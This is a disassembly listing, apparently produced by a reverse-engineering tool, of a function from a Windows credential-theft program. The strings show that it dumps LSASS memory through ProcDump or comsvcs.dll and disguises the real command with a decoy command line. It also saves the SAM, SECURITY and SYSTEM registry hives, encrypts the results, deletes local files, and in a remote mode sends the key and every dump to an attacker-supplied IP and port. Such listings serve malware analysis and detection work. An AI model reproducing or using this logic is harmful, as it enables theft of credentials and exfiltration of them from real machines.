Function at 0x1400011e0
Capabilities:
Get common file path
Terminate process

Disassembly:
jmp 0x140004030
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x3db0
call fcn.140001087
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xddc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x3dd8]
lea rcx, [0x1400973cb]
call fcn.1400012c1
lea rcx, str._______________________________________________________n
call fcn.14000115e
lea rcx, str.________________________________________________n
call fcn.14000115e
lea rcx, str._________________________________n
call fcn.14000115e
lea rcx, str._______________________________n
call fcn.14000115e
lea rcx, str.________________________________._____n
call fcn.14000115e
lea rcx, str._____________________________________________________n
call fcn.14000115e
call fcn.1400010eb
test eax, eax
jne 0x1400040d9
lea rcx, str.____Dumping_LSASS_Requires_Elevated_Priviledges_
call fcn.14000115e
mov eax, 0xffffffff
jmp 0x140005879
xor ecx, ecx
call fcn.140006050
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
mov dword [rbp + 4], 0
mov qword [rbp + 0x11d8], 0
mov qword [rbp + 0x11f8], 0
mov qword [rbp + 0x1218], 0
mov qword [rbp + 0x1238], 0
mov qword [rbp + 0x1258], 0
mov dword [rbp + 0x1274], 0
mov dword [rbp + 0x1294], 0
mov dword [rbp + 0x12b4], 0
mov dword [rbp + 0x12d4], 0
mov dword [rbp + 0x12f4], 0
mov r8, qword [rbp + 0x3d98]
mov edx, dword [rbp + 0x3d90]
lea rcx, [rbp + 0x3d28]
call fcn.140001253
lea rcx, [rbp + 0x1318]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
cmp dword [rbp + 0x134c], 0
je 0x1400041a4
mov dword [rbp + 0x1364], 0xbb8
mov dword [rbp + 0x1384], 0xea60
jmp 0x1400041b8
mov dword [rbp + 0x1364], 0x3e8
mov dword [rbp + 0x1384], 0x2710
mov r9d, socket
mov r8d, 0x20
lea rdx, [0x140016020]
lea rcx, section..data
call fcn.14000113b
xor r8d, r8d
lea rdx, [rbp + 4]
lea rcx, [0x140016020]
call fcn.14000129e
test eax, eax
jne 0x14000420b
lea rdx, [0x140016020]
lea rcx, str.____Cound_Not_Get__ss_PID__n
call fcn.140001014
mov eax, 0xffffffff
jmp 0x140005879
mov r8d, dword [rbp + 4]
lea rdx, [0x140016020]
lea rcx, str.___Found___s____Of_PID_:__d__n
call fcn.140001014
lea rdx, [rbp + 0x570]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140004256
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathW_Failed_With_Error_:__d__n
call fcn.14000115e
mov eax, 0xffffffff
jmp 0x140005879
xor ecx, ecx
call fcn.140006050
mov qword [rbp + 0x13a8], rax
lea rcx, [rbp + 0x13a8]
call fcn.140003fe0
mov qword [rbp + 0x13c8], rax
mov r9, qword [rbp + 0x13c8]
lea r8, str.debug_file_process_info__Y_m_d__H_M_S.dmp
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
cmp dword [rbp + 0x1340], 0
je 0x1400043a3
mov r9d, send
mov r8d, 0x20
lea rdx, [0x140016038]
lea rcx, section..data
call fcn.14000113b
mov r9d, 0xe2
mov r8d, 0x20
lea rdx, [0x140016050]
lea rcx, section..data
call fcn.14000113b
mov rax, qword [rbp + 0x1328]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 4]
mov dword [rsp + 0x28], eax
lea rax, [0x140016038]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1318]
lea r8, str._s__s__d__o__s
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.1400011ef
lea r9, [rbp + 0x30]
lea r8, [0x140012a0c]
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.1400010f5
mov rcx, qword [rbp + 0x1318]
call sub.ucrtbased.dll_strlen
mov rdx, rax
mov rcx, qword [rbp + 0x1318]
call fcn.14000106e
mov qword [rbp + 0x11d8], rax
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x28], rax
lea rax, [0x140016050]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x11d8]
lea r8, str._ls__ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.1400010f5
jmp 0x140004459
mov r9d, 0x94
mov r8d, 0x20
lea rdx, [0x140016140]
lea rcx, section..data
call fcn.14000113b
mov r9d, 0x11e
mov r8d, 0x20
lea rdx, [0x1400161e0]
lea rcx, section..data
call fcn.14000113b
mov rax, qword [rbp + 0x1328]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 4]
lea r8, str._d__s_full
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.1400011ef
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [0x140016140]
lea r8, str._ls__S
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.1400010f5
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x20], rax
lea r9, [0x1400161e0]
lea r8, str._ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.1400010f5
cmp dword [rbp + 0x133c], 0
je 0x140004488
lea rdx, [rbp + 0x150]
lea rcx, str._i__Real_Command:__s_n
call fcn.140001014
lea rdx, [rbp + 0x9c0]
lea rcx, str._i__Dummy_Command:__s_n_n
call fcn.140001014
lea rcx, [rbp + 0x150]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov qword [rbp + 0x3d68], rax
lea rcx, [rbp + 0x9c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rcx, qword [rbp + 0x3d68]
cmp rcx, rax
jbe 0x1400044c6
lea rcx, str.____Real_Command_Cannot_Be_Longer_Than_Dummy_Command__n
call fcn.14000115e
jmp 0x14000573a
mov qword [rbp + 0x13e8], 0
mov qword [rbp + 0x1408], 0
mov dword [rbp + 0x1424], 0
mov dword [rbp + 0x1444], 0
cmp dword [rbp + 0x1340], 0
je 0x14000453c
lea rcx, str._i__Dumping_LSASS_Using_ProcDump..._n
call fcn.14000115e
mov r9d, dword [rbp + 0x133c]
mov r8, qword [rbp + 0x1318]
mov edx, 0x67b98
lea rcx, [0x140016410]
call fcn.140001299
mov rcx, qword [rbp + 0x11d8]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov dword [rbp + 0x1444], eax
jmp 0x140004552
lea rcx, str._i__Dumping_LSASS_Using_comsvcs.dll..._n
call fcn.14000115e
mov dword [rbp + 0x1444], 0x40
cmp dword [rbp + 0x1344], 0
je 0x1400045b7
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x9c0]
call fcn.1400010d7
test eax, eax
jne 0x1400045b5
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.14000115e
jmp 0x14000573a
jmp 0x140004611
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x9c0]
call fcn.1400010d7
test eax, eax
jne 0x140004611
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.14000115e
jmp 0x14000573a
cmp dword [rbp + 0x133c], 0
je 0x140004626
lea rcx, str._i__Reading_Dump_File_and_Zeroing_Bytes..._n
call fcn.14000115e
cmp dword [rbp + 0x1340], 0
je 0x14000463a
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140004654
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x186a0
jge 0x140004679
mov edx, 6
mov rcx, qword [rbp + 0x1328]
call fcn.1400012a3
test eax, eax
je 0x140004677
jmp 0x140004679
jmp 0x140004646
cmp dword [rbp + 0x133c], 0
je 0x140004694
mov edx, dword [rbp + 0x1464]
lea rcx, str._i__Retry_Count:__d_n
call fcn.14000115e
cmp dword [rbp + 0x1464], 0x186a0
jne 0x14000476d
lea rcx, str.____Failed_to_Locate_LSASS_Dump_File__n
call fcn.14000115e
mov dword [rbp + 0x1484], 0
lea rdx, [rbp + 0x1484]
lea rcx, [0x140016020]
call fcn.140001023
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0
jne 0x1400046f5
cmp dword [rbp + 0x133c], 0
je 0x1400046f3
lea rcx, str._i__LSASS_is_Running__Continuing..._n
call fcn.14000115e
jmp 0x140004727
lea rcx, str._i__LSASS_is_Suspended__Resuming_Threads..._n
call fcn.14000115e
mov r8d, dword [rbp + 0x133c]
mov edx, dword [rbp + 0x1484]
mov rcx, qword [rbp + 0x14a8]
call fcn.1400012b7
mov rcx, qword [rbp + 0x14a8]
call qword [sym.imp.ucrtbased.dll_free]
cmp dword [rbp + 0x1344], 0
jne 0x140004758
cmp dword [rbp + 0x12f4], 3
jge 0x140004758
lea rcx, str._n_i__Trying_to_Dump_LSASS_Again..._n
call fcn.14000115e
mov eax, dword [rbp + 0x12f4]
inc eax
mov dword [rbp + 0x12f4], eax
jmp 0x140004552
cmp dword [rbp + 0x1348], 0
je 0x140004768
jmp 0x1400048b9
jmp 0x14000573a
lea r8, [rbp + 0x1274]
lea rdx, [rbp + 0x1258]
mov rcx, qword [rbp + 0x1328]
call fcn.140001041
test eax, eax
je 0x1400047b4
mov eax, dword [rbp + 0x1274]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140013560]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___LSASS_Dump_Read:__.2f_MB_n_n
call fcn.14000115e
jmp 0x1400047c5
lea rcx, str.____Unable_to_Read_LSASS_Dump
call fcn.14000115e
jmp 0x14000573a
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001069
mov r8d, 0x40
lea rdx, [rbp + 0x14d0]
lea rcx, [rbp + 0x1530]
call sub.VCRUNTIME140D.dll_memcpy
mov r9d, dword [rbp + 0x1274]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1258]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004818
jmp 0x14000573a
lea rcx, str._i__Cleaning_up_local_files..._n
call fcn.14000115e
mov edx, 1
mov rcx, qword [rbp + 0x1328]
call fcn.140001230
cmp dword [rbp + 0x1340], 0
je 0x1400048a3
mov dword [rbp + 0x1464], 0
jmp 0x140004858
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004887
mov edx, 1
mov rcx, qword [rbp + 0x1318]
call fcn.140001230
test eax, eax
je 0x14000487a
jmp 0x140004887
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000484a
cmp dword [rbp + 0x1464], 0x14
jne 0x1400048a3
mov rdx, qword [rbp + 0x1318]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.14000115e
lea rcx, [0x140010f94]
call fcn.14000115e
mov dword [rbp + 0x1444], 0x36
cmp dword [rbp + 0x1348], 0
je 0x140004eb5
lea rcx, str._i__Dumping_Registry_Hives..._n
call fcn.14000115e
mov qword [rbp + 0x2c88], 0
mov r9d, 0x4e
mov r8d, 0x20
lea rdx, [0x140016300]
lea rcx, section..data
call fcn.14000113b
mov r9d, 0xc0
mov r8d, 0x20
lea rdx, [0x140016350]
lea rcx, section..data
call fcn.14000113b
mov r9, qword [rbp + 0x13c8]
lea r8, str.registry_debug_info__Y_m_d__H_M_S.data
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x20], rax
lea r9, [0x140016350]
lea r8, str._ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x1590]
call fcn.1400010f5
mov edx, 6
lea rcx, [rbp + 0x2a28]
call fcn.1400011a4
lea rax, [rbp + 0x2a28]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x570]
lea r8, str._ls_ls
mov edx, 0x104
lea rcx, [rbp + 0x2a60]
call fcn.1400010f5
lea rcx, [rbp + 0x2a60]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rdx, rax
lea rcx, [rbp + 0x2a60]
call fcn.1400012a8
mov qword [rbp + 0x2c88], rax
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x140016300]
lea r8, str._lsSAM__ls
mov edx, 0x200
lea rcx, [rbp + 0x1db0]
call fcn.1400010f5
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x140016300]
lea r8, str._lsSECURITY__ls
mov edx, 0x200
lea rcx, [rbp + 0x21d0]
call fcn.1400010f5
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x140016300]
lea r8, str._lsSYSTEM__ls
mov edx, 0x209
lea rcx, [rbp + 0x25f0]
call fcn.1400010f5
cmp dword [rbp + 0x133c], 0
je 0x140004aa7
lea rdx, [rbp + 0x1db0]
lea rcx, str._i__Real_Reg_Commands:_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x21d0]
lea rcx, str._t_t_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x25f0]
lea rcx, str._t_t_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x1590]
lea rcx, str._i__Dummy_Reg_Commands:__s_n_n
call fcn.140001014
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x1db0]
lea rcx, [rbp + 0x1590]
call fcn.1400010d7
test eax, eax
jne 0x140004b12
lea rcx, str.____Failed_to_Create_Process_to_Dump_SAM_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004b0d
jmp 0x14000573a
jmp 0x140004eb5
mov dword [rbp + 0x1464], 0
jmp 0x140004b2c
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004b89
lea r8, [rbp + 0x1294]
lea rdx, [rbp + 0x11f8]
mov rcx, qword [rbp + 0x2c88]
call fcn.140001041
test eax, eax
je 0x140004b7c
mov eax, dword [rbp + 0x1294]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140013560]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SAM_Save_Read:__.2f_MB_n
call fcn.14000115e
jmp 0x140004b89
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004b1e
cmp dword [rbp + 0x1464], 0x14
jne 0x140004bb4
lea rcx, str.____Unable_to_Read_SAM_Save_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004baf
jmp 0x14000573a
jmp 0x140004eb5
mov r9d, dword [rbp + 0x1294]
mov r8d, 0x40
mov rdx, qword [rbp + 0x11f8]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004bee
cmp qword [rbp + 0x1258], 0
jne 0x140004be9
jmp 0x14000573a
jmp 0x140004eb5
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.140001230
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x21d0]
lea rcx, [rbp + 0x1590]
call fcn.1400010d7
test eax, eax
jne 0x140004c6a
lea rcx, str.____Failed_to_Create_Process_to_Dump_SECURITY_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004c65
jmp 0x14000573a
jmp 0x140004eb5
mov dword [rbp + 0x1464], 0
jmp 0x140004c84
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004ce1
lea r8, [rbp + 0x12b4]
lea rdx, [rbp + 0x1218]
mov rcx, qword [rbp + 0x2c88]
call fcn.140001041
test eax, eax
je 0x140004cd4
mov eax, dword [rbp + 0x12b4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140013560]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SECURITY_Save_Read:__.2f_MB_n
call fcn.14000115e
jmp 0x140004ce1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004c76
cmp dword [rbp + 0x1464], 0x14
jne 0x140004d0c
lea rcx, str.____Unable_to_Read_SECURITY_Save_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004d07
jmp 0x14000573a
jmp 0x140004eb5
mov r9d, dword [rbp + 0x12b4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1218]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004d46
cmp qword [rbp + 0x1258], 0
jne 0x140004d41
jmp 0x14000573a
jmp 0x140004eb5
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.140001230
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x25f0]
lea rcx, [rbp + 0x1590]
call fcn.1400010d7
test eax, eax
jne 0x140004dc2
lea rcx, str.____Failed_to_Create_Process_to_Dump_SYSTEM_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004dbd
jmp 0x14000573a
jmp 0x140004eb5
mov dword [rbp + 0x1464], 0
jmp 0x140004ddc
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140004e39
lea r8, [rbp + 0x12d4]
lea rdx, [rbp + 0x1238]
mov rcx, qword [rbp + 0x2c88]
call fcn.140001041
test eax, eax
je 0x140004e2c
mov eax, dword [rbp + 0x12d4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140013560]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SYSTEM_Save_Read:__.2f_MB_n
call fcn.14000115e
jmp 0x140004e39
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004dce
cmp dword [rbp + 0x1464], 0x14
jne 0x140004e61
lea rcx, str.____Unable_to_Read_SYSTEM_Save_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
jne 0x140004e5f
jmp 0x14000573a
jmp 0x140004eb5
mov r9d, dword [rbp + 0x12d4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1238]
lea rcx, [rbp + 0x14d0]
call fcn.14000113b
test eax, eax
jne 0x140004e98
cmp qword [rbp + 0x1258], 0
jne 0x140004e96
jmp 0x14000573a
jmp 0x140004eb5
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.140001230
lea rcx, [0x140010f94]
call fcn.14000115e
cmp dword [rbp + 0x1338], 0
je 0x140005013
lea rcx, str._i__Local_Mode_Selected._Writing_Encrypted_File_s__to_Disk..._n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
je 0x140004ef9
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.140001299
cmp qword [rbp + 0x11f8], 0
je 0x140004ffd
cmp qword [rbp + 0x1218], 0
je 0x140004ffd
cmp qword [rbp + 0x1238], 0
je 0x140004ffd
mov edx, 0x104
lea rcx, [rbp + 0x2cb0]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x140004f4c
lea rcx, str.____Unable_to_Get_Current_Directory_
call fcn.14000115e
jmp 0x140004ffd
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x2de0]
call fcn.14000128a
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x2f10]
call fcn.14000128a
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x3040]
call fcn.14000128a
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x2de0]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.140001299
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x2f10]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.140001299
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x3040]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.140001299
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001172
jmp 0x140005538
lea rcx, str._i__Remote_Mode_Selected_n
call fcn.14000115e
lea r9, [rbp + 0x31b8]
lea r8, [rbp + 0x3194]
lea rdx, [rbp + 0x3168]
mov rcx, qword [rbp + 0x1330]
call fcn.1400010b4
test eax, eax
je 0x140005062
cmp dword [rbp + 0x133c], 0
je 0x140005060
mov rdx, qword [rbp + 0x31b8]
lea rcx, str._i__Encrypting_key_with:__llu_n
call fcn.14000115e
jmp 0x1400050a5
lea rcx, str.____Failed_to_Parse_IP_and_Port__Saving_Locally_Instead._n
call fcn.14000115e
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.140001299
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001172
jmp 0x14000573a
mov r9d, 0x40
mov r8d, 8
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x31b8]
call fcn.14000113b
test eax, eax
jne 0x1400050cd
jmp 0x14000573a
cmp qword [rbp + 0x1258], 0
je 0x140005108
cmp qword [rbp + 0x11f8], 0
je 0x140005108
cmp qword [rbp + 0x1218], 0
je 0x140005108
cmp qword [rbp + 0x1238], 0
je 0x140005108
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 0
jmp 0x140005154
cmp qword [rbp + 0x1258], 0
je 0x140005125
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 1
jmp 0x140005154
cmp qword [rbp + 0x11f8], 0
je 0x140005154
cmp qword [rbp + 0x1218], 0
je 0x140005154
cmp qword [rbp + 0x1238], 0
je 0x140005154
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 2
lea rax, [rbp + 0x31e1]
mov r8d, 0x40
lea rdx, [rbp + 0x1530]
mov rcx, rax
call sub.VCRUNTIME140D.dll_memcpy
mov r8d, dword [rbp + 0x3194]
lea rdx, [rbp + 0x3168]
lea rcx, str._i__Connecting_to__s:_d_n
call fcn.14000115e
lea rcx, str._i__Sending_Encrypted_Key..._n
call fcn.14000115e
mov dword [rbp + 0x1464], 0
jmp 0x1400051b0
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x1400051f7
mov r9d, 0x41
lea r8, [rbp + 0x31e0]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x1400051de
jmp 0x1400051f7
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400051a2
cmp dword [rbp + 0x1464], 3
jne 0x140005211
lea rcx, str.____Failed_to_Transfer_Key__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055fa
cmp qword [rbp + 0x11f8], 0
je 0x1400053f7
cmp qword [rbp + 0x1218], 0
je 0x1400053f7
cmp qword [rbp + 0x1238], 0
je 0x1400053f7
lea rcx, str._i__Sending_Encrypted_SAM_Save..._n
call fcn.14000115e
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x14000526d
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x1400052b5
mov r9d, dword [rbp + 0x1294]
mov r8, qword [rbp + 0x11f8]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x14000529c
jmp 0x1400052b5
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000525f
cmp dword [rbp + 0x1464], 3
jne 0x1400052cf
lea rcx, str.____Failed_to_Transfer_SAM_Save__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055fa
lea rcx, str._i__Sending_Encrypted_SECURITY_Save..._n
call fcn.14000115e
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140005301
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140005349
mov r9d, dword [rbp + 0x12b4]
mov r8, qword [rbp + 0x1218]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x140005330
jmp 0x140005349
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400052f3
cmp dword [rbp + 0x1464], 3
jne 0x140005363
lea rcx, str.____Failed_to_Transfer_SECURITY_Save__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055fa
lea rcx, str._i__Sending_Encrypted_SYSTEM_Save..._n
call fcn.14000115e
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140005395
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x1400053dd
mov r9d, dword [rbp + 0x12d4]
mov r8, qword [rbp + 0x1238]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x1400053c4
jmp 0x1400053dd
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005387
cmp dword [rbp + 0x1464], 3
jne 0x1400053f7
lea rcx, str.____Failed_to_Transfer_SYSTEM_Save__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055fa
cmp qword [rbp + 0x1258], 0
je 0x140005538
cmp qword [rbp + 0x11f8], 0
je 0x14000549c
cmp qword [rbp + 0x1218], 0
je 0x14000549c
cmp qword [rbp + 0x1238], 0
je 0x14000549c
mov eax, dword [rbp + 0x1384]
cdq
mov ecx, 0x3e8
idiv ecx
mov edx, eax
lea rcx, str._i__Waiting__d_Seconds_For_Previous_Data_Transfer_to_Complete..._n
call fcn.14000115e
lea rcx, str._i__Press_Enter_to_Skip_n
call fcn.14000115e
mov dword [rbp + 0x3244], 0
call sub.ucrtbased.dll__kbhit
test eax, eax
jne 0x14000548e
mov eax, dword [rbp + 0x1384]
cmp dword [rbp + 0x3244], eax
jge 0x14000548e
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x3244]
add eax, 0x1f4
mov dword [rbp + 0x3244], eax
jmp 0x140005459
call sub.ucrtbased.dll__kbhit
test eax, eax
je 0x14000549c
call sub.ucrtbased.dll__getch
lea rcx, str._i__Sending_Encrypted_LSASS_Dump..._n
call fcn.14000115e
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
mov dword [rbp + 0x1464], 0
jmp 0x1400054d6
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x14000551e
mov r9d, dword [rbp + 0x1274]
mov r8, qword [rbp + 0x1258]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.14000104b
test eax, eax
je 0x140005505
jmp 0x14000551e
lea rcx, str._i__Retrying..._n
call fcn.14000115e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400054c8
cmp dword [rbp + 0x1464], 3
jne 0x140005538
lea rcx, str.____Failed_to_Transfer_LSASS_Dump__Saving_Locally_Instead._n
call fcn.14000115e
jmp 0x1400055fa
cmp qword [rbp + 0x1258], 0
je 0x14000555a
